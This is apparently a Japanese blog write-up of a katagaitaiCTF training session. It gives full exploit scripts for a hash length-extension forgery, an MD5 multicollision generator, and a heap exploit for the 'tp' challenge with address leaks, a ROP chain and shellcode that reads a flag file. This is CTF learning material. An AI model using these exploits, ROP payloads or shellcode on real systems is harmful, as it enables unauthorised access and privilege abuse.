内容は午前はCryptography, 午後はPwnでした。Cryptographyはハッシュ関数に関する攻撃をやりました。問題はhack you 2014のhashmeと、ebCTF 2013のmd5collidingを中心に勉強しました。どうも講師の方がこのwriteupを読む可能性があるようなので、今回はしっかり書こうと思います。ちなみに一番前の中央に座っていました。[ ^o^]
katagaitaiCTFの5周年おめでとうございます。
午前 - Cryptography
Length extension attackやハッシュ衝突系の問題は昔勉強したことがあったので、今回のCryptographyはあまり資料を見なくても解けました。hashme
ユーザー名を登録すると、「login=[username]&role=anonymous」で登録されます。ログインする際にroleにadministratorが入っていればフラグが表示されます。しかし、ログインするには登録時に生成される認証コードが必要です。認証コードはs = "login=[username]&role=anonymous"
base64( xor( s + hashme(SALT + s), KEY ) )
で生成されます。
ただし、SALTとKEYはサーバー側にあり、不明です。(ローカルで実行する際はSALT="HOGE", KEY="\x01\x02\x03\x04"にしました)
ここでhashmeという独自実装のハッシュ関数がありますが、md5のように32バイトのhexdigestを出力するハッシュ関数で、ハッシュでごちゃごちゃにした各4バイトのA, B, C, DをB, A, D, Cの順にくっつけて出力しています。
(1)KEYを取得
とりあえずKEYは単純なxorで使われており、入出力はどちらも取得できるので、まずKEYを計算します。方法として、認証コード(cert)をbase64デコードし、それと"login=[username]&role=anonymous"をxorすれば、KEYの最初の方から復号化できます。さらに、[username]の長さを長くすると、それだけKEYを長く復号化できます。xorではKEYを繰り返してxorしているので、同じパターンの繰り返しが出た時点でそこまでが実際のKEY値です。
(2)length extension attackを実行
本日まではhashpumpしか使えなかったのですが、今回の講義を通して原理が分かったので実装することができました。ハッシュ関数は、ある時点で(A, B, C, D)が計算され、それをもとに次の(A, B, C, D)を計算する、という動作を繰り返しています。したがって、最終的に出力された(A, B, C, D)を使って、次の(A, B, C, D)を計算することで、hashme(A)の結果だけからhashme(A+B)が作れるということです。ただし、(A, B, C, D)の計算内には現在のバイトインデックスも含まれるので、Aの長さも必要です。今回の場合、 s = "login=[username]&role=anonymous"のときのhashme(SALT + s)が取得できるので、それをもとにhashme(SALT + s + "&role=administrator")を作ります。
しかし、SALTの長さは分からないので、ここは1から順番に仮定して、成功するまで繰り返します。
これらを実装したpython2のコードを載せます。ただし、pwntoolsというライブラリを使用しています。
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# coding: utf-8 | |
from pwn import * | |
# | |
# crypto200.pyからそのまま引用 | |
# | |
from math import sin | |
from urlparse import parse_qs | |
from base64 import b64encode | |
from base64 import b64decode | |
from re import match | |
def xor(a, b): | |
return ''.join(map(lambda x : chr(ord(x[0]) ^ ord(x[1])), zip(a, b * 100))) | |
def F(X,Y,Z): | |
return ((~X & Z) | (~X & Z)) & 0xFFFFFFFF | |
def G(X,Y,Z): | |
return ((X & Z) | (~Z & Y)) & 0xFFFFFFFF | |
def H(X,Y,Z): | |
return (X ^ Y ^ Y) & 0xFFFFFFFF | |
def I(X,Y,Z): | |
return (Y ^ (~Z | X)) & 0xFFFFFFFF | |
def ROL(X,Y): | |
return (X << Y | X >> (32 - Y)) & 0xFFFFFFFF | |
# | |
# 接続 | |
# | |
#sock = remote('127.0.0.1', 9999) | |
sock = remote('katagaitai.orz.hm', 7777) | |
# | |
# 適当なユーザーのcertを取得する | |
# | |
username = "A" * 128 | |
baseinfo = "login=%s&role=anonymous" % username | |
sock.recvuntil('[1] Login\n======================\n') | |
sock.sendline('0') # [0] Register | |
sock.recvuntil('Your login: ') | |
sock.sendline(username) # 適当なユーザー名で登録 | |
sock.recvuntil('Your auth certificate:\n') | |
# certからxorされた"login=%s&role=anonymous"を取得 | |
cert_original = sock.recvline() | |
cert_original = b64decode(cert_original) | |
cert = cert_original[0:-32] | |
# | |
# KEYを取得する | |
# | |
KEY = xor(cert, baseinfo) | |
for i in range(1, len(KEY)): | |
if KEY[0:i] == KEY[i:2*i]: # 繰り返しを検出 | |
KEY = KEY[0:i] | |
break | |
print("[INFO] KEY found : %s" % KEY.encode('hex')) | |
# | |
# hashme(SALT + "login=[username]&role=anonymous" + "&role=administrator") | |
# を計算する | |
# | |
cert_original = xor(cert_original, KEY) | |
hash_original = cert_original[-32:] | |
X = [int(0xFFFFFFFF * sin(i)) & 0xFFFFFFFF for i in xrange(256)] | |
s = "&role=administrator" # 追加する文字列 | |
# SALTの長さによってiが変わる | |
for SALT_len in range(1, 32): | |
print("[INFO] trying new length : %d" % SALT_len) | |
# 元に戻す | |
B = int(hash_original[0:8], 16) | |
A = int(hash_original[8:16], 16) | |
D = int(hash_original[16:24], 16) | |
C = int(hash_original[24:32], 16) | |
for i,ch in enumerate(s): | |
i = SALT_len + len(baseinfo) + i # 追加文字なのでiを更新 | |
k, l = ord(ch), i & 0x1f | |
A = (B + ROL(A + F(B,C,D) + X[k], l)) & 0xFFFFFFFF | |
B = (C + ROL(B + G(C,D,A) + X[k], l)) & 0xFFFFFFFF | |
C = (D + ROL(C + H(D,A,B) + X[k], l)) & 0xFFFFFFFF | |
D = (A + ROL(D + I(A,B,C) + X[k], l)) & 0xFFFFFFFF | |
# hash_newができた | |
hash_new = ''.join(map(lambda x : hex(x)[2:].strip('L').rjust(8, '0'), [B, A, D, C])) | |
print("[INFO] new hash generated : %s" % hash_new) | |
# hash_newからcert_newを作る | |
cert_new = baseinfo + s + hash_new | |
cert_new = b64encode(xor(cert_new, KEY)) | |
print("[INFO] new cert generated : %s" % cert_new) | |
# 試してみる | |
sock.recvuntil('[1] Login\n======================\n') | |
sock.sendline('1') # [1] Login | |
sock.recvuntil('Provide your certificate:') | |
sock.sendline(cert_new) | |
sock.recvline() | |
ret = sock.recvline() | |
print("[INFO] received : %s" % ret) | |
# 成功したか | |
if "[+] Welcome," in ret: | |
print(sock.recv(4096)) | |
break | |
sock.interactive() |
今まで完全に闇の世界だったlength extension attackの原理が理解できたときは、かなり感動しました。
md5colliding
これ系も実は昔やったことがあり、そのときfastcollを使ったのも覚えていますが、2つまでしか同じハッシュを持つファイルが作れないなぁと思っていてそのままでした。今回の講義で少しステップアップした使い方ができるようになったかな。さて、この問題は、指定された5つの文字列をそれぞれ出力するようなexeファイルを5つ作る、という問題です。ただし、5つのファイルは全てmd5が同じである必要があり、sha1が異なる必要があります。
fastcollというツールを使うと、
$ fastcoll A -o B C
でA+paddingという内容で、異なるpadding、同じmd5ハッシュ値を持つBとCが出力されます。ここから3つ以上同じハッシュを持つファイルの作り方が分からなかったのですが、
$ fastcoll B -o D E
としてCとD(もしくはE)との差分(追加分)をCに付けたせば良いようです。(なぜなら、hashmeで言ったように、サイズさえ一致すれば、それより前のバイナリは後のハッシュ値に影響しないからです。)
次にexeが異なる出力を持つ必要があるのですが、argv[0][0]などハッシュ値に影響しない部分を利用すれば良いようです。(もしファイル名が自動で割り当てられる場合はどんな方法がベストかな...?) とにかく今回はargv[0]で1から5までの出力を振り分けるのですが、Windows起動が面倒だったのでx86用のelfでやりました。
実行ファイル用のコードは次のようにしました。(linuxでは"./main"のように実行するのでargv[0][0]ではなくargv[0][2]を判定に使っています。) 実行ファイル用のCコードと、衝突生成用のpython2のコードを載せておきます。
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* for x86 linux */ | |
#include <stdio.h> | |
int main(int argc, char** argv) | |
{ | |
char c = argv[0][2]; | |
if (c == '1') { | |
puts("All Eindbazen are wearing wooden shoes"); | |
} else if (c == '2') { | |
puts("All Eindbazen live in a windmill"); | |
} else if (c == '3') { | |
puts("All Eindbazen grow their own tulips"); | |
} else if (c == '4') { | |
puts("All Eindbazen smoke weed all day"); | |
} else if (c == '5') { | |
puts("All Eindbazen are cheap bastards"); | |
} | |
return 0; | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# coding: utf-8 | |
from os import system, execv | |
# +-- step4.2 [*] | |
# | | |
# +-- step3.2 +-- step4.1 [*] | |
# | | | |
# +-- step2.2 +-- step3.1 <-----+ [*] | |
# | | | |
# +-- step1.2 +-- step2.1 <-----------------+ [*] | |
# | | | |
# main +-- step1.1 <-----------------------------+ [*] | |
# | |
N = 5 # 生成個数 | |
base = "main" # 最初のファイル名 | |
# 生成していく | |
for i in range(1, N): | |
system("./fastcoll {0} -o step{1}.1 step{1}.2".format(base, i)) | |
base = "step{0}.2".format(i) | |
# 各stepとstepN.1との差分を埋める | |
new = open("step{0}.1".format(N-1), "rb").read() | |
for i in range(1, N - 1): | |
old = open("step{0}.1".format(i), "rb").read() | |
old += new[len(old):] | |
open("step{0}.1".format(i), "wb").write(old) | |
# gomiを消す | |
for i in range(1, N - 1): | |
system("rm ./step{0}.2".format(i)) | |
# 改名する | |
for i in range(1, N): | |
system("mv ./step{0}.1 ./{0}.bin".format(i)) | |
system("chmod +x ./{0}.bin".format(i)) | |
system("mv ./step{0}.2 ./{1}.bin".format(N-1, N)) | |
system("chmod +x ./{0}.bin".format(N)) |
同じmd5ハッシュ、異なるsha1ハッシュが出力され、出力内容も指定通りでした。コードは5個に限らず自由な個数だけ衝突ファイルを生成できるように工夫しています。
parlor
この問題はそもそも問題文を理解しておらず、時間内には解けませんでしたが、家でやったのでwriteupしておきます。入力に対して条件を通過すれば賭け金だけ増え、失敗すれば賭け金が消えるゲームです。条件というのが
md5(hoge + input) % odds == 0
であることです。ちなみに問題文ではもうちょっと分りにくかったです。また、この「+」は文字列の結合で、hogeは16進数形式のダイジェストなのですが、バイナリとして結合されます。ここで数値加算してみたり文字列そのまま結合してみたりして時間取られました。さらに、inputには改行コードが最後に付いてくるっぽいのでそこにも注意。
この問題でユーザーが指定できるのはlog_2(odds)の整数とinputのバイナリです。hogeはランダムでサーバー側に保存されています。oddsの指数は100まで指定できるので、最大で2**100まで設定可能です。一回成功すればそれを繰り返せば良さそうなのですが、一度送ったinputは二度と送れません。
(1)md5(hoge + x)を知りたい
md5(hoge + x)が求まれば、md5(hoge + x + y)も求まります。しかし、md5(hoge + x)は最大でも下位100bitまでしか残りません。ということでbrute force attackで残りの28bitを探すことにしました。
...と書きながらコードを書いて実行したらあまりの重さにパソコンが止まったので今日はここまで。
午後 - Pwn
なんか凄いことやってるなぁって感じでした。1つ1つのプロセスで何やってるのかは分かりましたし、資料にソースコードや構造体、サンドボックスの命令などが書かれていたので良かったものの、実際にソースコードも無い状態であれを解けと言われたら確実に捨てます。
tp
最後まで分からなかったこと(自分の書いた攻撃コードに関する疑問):- fastbinsに繋がったりbinsに繋がったり。その辺の設計もうろ覚えでした。
- 0x1337という数が分かりませんでした。idなら10とか20とかでもいいはず?
- shellstormのshellcodeが動きませんでしたが、あれはseccompが原因だったのかな?
- どうやってあんなに長いアセンブリを読む気になれるのか。
でも、やっぱりヒープ苦手だなと実感しました。もっと勉強してきます。
(2)習得したこと:
- malloc, seccompなどの設計が少し分かりました。
- main_arena以外にthread_arenaなるものがあるとは......
- gdbでアタッチしたりダンプしたりするのが便利でした。
- DynamicROP(?)の復習になりました。
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from pwn import * | |
class tp: | |
# | |
# Constructor | |
# | |
def __init__(self, host, port): | |
# Connect to server | |
self.sock = remote(host, port) | |
# List of commands | |
self.cmd_new = 0 | |
self.cmd_read = 1 | |
self.cmd_write = 2 | |
self.cmd_free = 3 | |
self.cmd_delete = 4 | |
return | |
# | |
# Destructor | |
# | |
def __del__(self): | |
self.sock.close() | |
return | |
# | |
# Command 0 : new | |
# | |
def remote_new(self, size): | |
self.sock.send( p32(self.cmd_new) ) | |
self.sock.send( p64(size & 0xFFffFFffFFffFFff) ) | |
ret = u32(self.sock.recv(4)) | |
print("[info] new({0}) --> {1}".format(size, ret)) | |
return ret | |
# | |
# Command 1 : read | |
# | |
def remote_read(self, note, data, noread=False): | |
self.sock.send( p32(self.cmd_read) ) | |
self.sock.send( p32(note) ) | |
self.sock.send( p64(len(data)) ) | |
self.sock.send( data ) | |
if noread: | |
ret = "" | |
print("[info] read without recv!") | |
else: | |
ret = u32(self.sock.recv(4)) | |
print("[info] read({0}, {1}, [data]) --> {2}".format(note, len(data), ret)) | |
return ret | |
# | |
# Command 2 : write | |
# | |
def remote_write(self, note, size): | |
self.sock.send( p32(self.cmd_write) ) | |
self.sock.send( p32(note) ) | |
self.sock.send( p64(size) ) | |
data = self.sock.recv(size) | |
ret = u32(self.sock.recv(4)) | |
print("[info] write({0}, {1}, [data]) --> {2}".format(note, size, ret)) | |
return ret, data | |
# | |
# Command 3 : free | |
# | |
def remote_free(self, note): | |
self.sock.send( p32(self.cmd_free) ) | |
self.sock.send( p32(note) ) | |
ret = u32(self.sock.recv(4)) | |
print("[info] free({0}) --> {1}".format(note, ret)) | |
return ret | |
# | |
# Command 4 : delete | |
# | |
def remote_delete(self, note): | |
self.sock.send( p32(self.cmd_delete) ) | |
self.sock.send( p32(note) ) | |
ret = u32(self.sock.recv(4)) | |
print("[info] delete({0}) --> {1}".format(note, ret)) | |
return ret | |
# | |
# Main | |
# | |
if __name__ == '__main__': | |
base_id = 0x13 # 0x1337? | |
tp = tp('127.0.0.1', 9999) | |
raw_input('Press enter after attaching to the server with GDB.') | |
## Prepare for exploitation | |
note1 = tp.remote_new(1) | |
note2 = tp.remote_new(1) | |
# use main_arena | |
note3 = tp.remote_new(-1) # linked to fastbins, main_arena | |
# use thread_arena | |
note4 = tp.remote_new(-1) # linked to bins, thread_arena | |
tp.remote_free(note2) # note2.used = 0 | |
note5 = tp.remote_new(0x28) # ¬e5 == ¬e4 | |
# write to ¬e4 --> overwrite note4.id | |
tp.remote_read(note5, p64(base_id)) | |
# new map having same address as note4 (whose id is base_id) | |
note6 = tp.remote_new(0x100) # linked to bins, thread_arena | |
## Leak heap_base | |
# write to ¬e4 --> overwrite note4.id and note4.buffer | |
# then note4.buffer will have the same address as bins, thread_arena | |
tp.remote_read(note5, p64(base_id) + "\x70\x08") | |
# 0x00007fe6dc000870 -> 0x00007fe6dc000858 | |
# so ret-0x858 is the very address of the heap base | |
heap_base = tp.remote_write(base_id, 8)[1] | |
heap_base = u64(heap_base) - 0x858 | |
print("[info] heap base = 0x{0:x}".format(heap_base)) | |
## Leak libc_base | |
# leak main_arena | |
tp.remote_read(note5, p64(base_id) + "\x88\x08") | |
main_arena = tp.remote_write(base_id, 8)[1] | |
main_arena = u64(main_arena) | |
print("[info] main_arena = 0x{0:x}".format(main_arena)) | |
# leak libc_base | |
libc_base = main_arena - 0x3be760 # (because main_arena has solid address) | |
print("[info] libc_base = 0x{0:x}".format(libc_base)) | |
## Leak ret | |
# leak __environ (and read) | |
tp.remote_read(note5, p64(base_id) + p64(libc_base + 0x3c14a0)) | |
environ = tp.remote_write(base_id, 8)[1] | |
environ = u64(environ) | |
print("[info] __environ = 0x{0:x}".format(environ)) | |
# leak ret | |
ret = environ - 0x200 | |
print("[info] ret = 0x{0:x}".format(ret)) | |
## shallcode!? --> doesn't work! | |
shellcode = "\xeb\x3f\x5f\x80\x77\x0b\x41\x48\x31\xc0\x04\x02\x48\x31\xf6\x0f\x05\x66\x81\xec\xff\x0f\x48\x8d\x34\x24\x48\x89\xc7\x48\x31\xd2\x66\xba\xff\x0f\x48\x31\xc0\x0f\x05\x48\x31\xff\x40\x80\xc7\x01\x48\x89\xc2\x48\x31\xc0\x04\x01\x0f\x05\x48\x31\xc0\x04\x3c\x0f\x05\xe8\xbc\xff\xff\xff" | |
shellcode += "/home/tp/flag1\x00" | |
## shellcode!! --> does work! | |
shellcode = "EB225F4831F64831D26A02580F05505766FFCA5E5F4831" | |
shellcode += "C00F056A016A01505A5F580F05E8D9FFFFFF" | |
shellcode = shellcode.decode("hex") + "/home/tp/flag1\0" | |
## ROP gadget! | |
# rp-lin-x64 | |
pop_rdx = 0x00001b8e | |
pop_rsi = 0x00024885 | |
pop_rdi = 0x00022b9a | |
## ROP payload! | |
payload = "" | |
# mprotect(rdi=addr, rsi=len, rdx=prot) | |
payload += p64(libc_base + pop_rdi) # .addr | |
payload += p64(heap_base + 0x1000) | |
payload += p64(libc_base + pop_rsi) # .size | |
payload += p64(len(shellcode) + 1) | |
payload += p64(libc_base + pop_rdx) # .prot | |
payload += p64(7) | |
payload += p64(libc_base + 0xf48d0) # mprotect | |
# read(rsi=addr, rdx=size, rdi=std?) | |
payload += p64(libc_base + pop_rsi) # .addr | |
payload += p64(heap_base + 0x1000) | |
payload += p64(libc_base + pop_rdx) # .size | |
payload += p64(len(shellcode)) | |
payload += p64(libc_base + pop_rdi) # .fd | |
payload += p64(0) | |
payload += p64(libc_base + 0xeb6a0) # read | |
payload += p64(heap_base + 0x1000) # jump to shellcode | |
tp.remote_read(note5, p64(base_id) + p64(ret) + p64(len(payload))) | |
tp.remote_read(base_id, payload, noread=True) | |
## Send shellcode! | |
tp.sock.send(shellcode) | |
## interactive mode | |
tp.sock.interactive() |
最初にひっかかったのはremote_readで、payloadを書き込んですぐにsendしなければならないのですが、remote_read内にrecvがあったので、次のステップに進めないままrecvで止まっていました。次にひっかかったのはpayloadのROP gadgetで、「pop esi; ret」を使ってるつもりが「pop esi; rep ...」みたいなのを使ってました。目grepが足りない。最後にひっかかったのがshellcodeで、shellstormからコピーしたものは動きませんでした。たぶんseccompのせいかな?
個人的にtpはflag1だけを集中的に説明しても良かったんじゃないかなとも思います。(そうするとプロが困るのかも。)
さいごに
今回はCryptography, Pwnいずれも前回のmedに比べるとかなり成長した状態で挑戦できたと思っています。(前のmedは1つも解けなかった。)いつもkatagaitaiCTFではたくさんの知識を習得させてもらっています。講師のみなさん、NRIさんなど、運営してくださっている方々、本当にありがとうございます。
今後も参加したいと思っているので、よろしくお願いします!
0 件のコメント:
コメントを投稿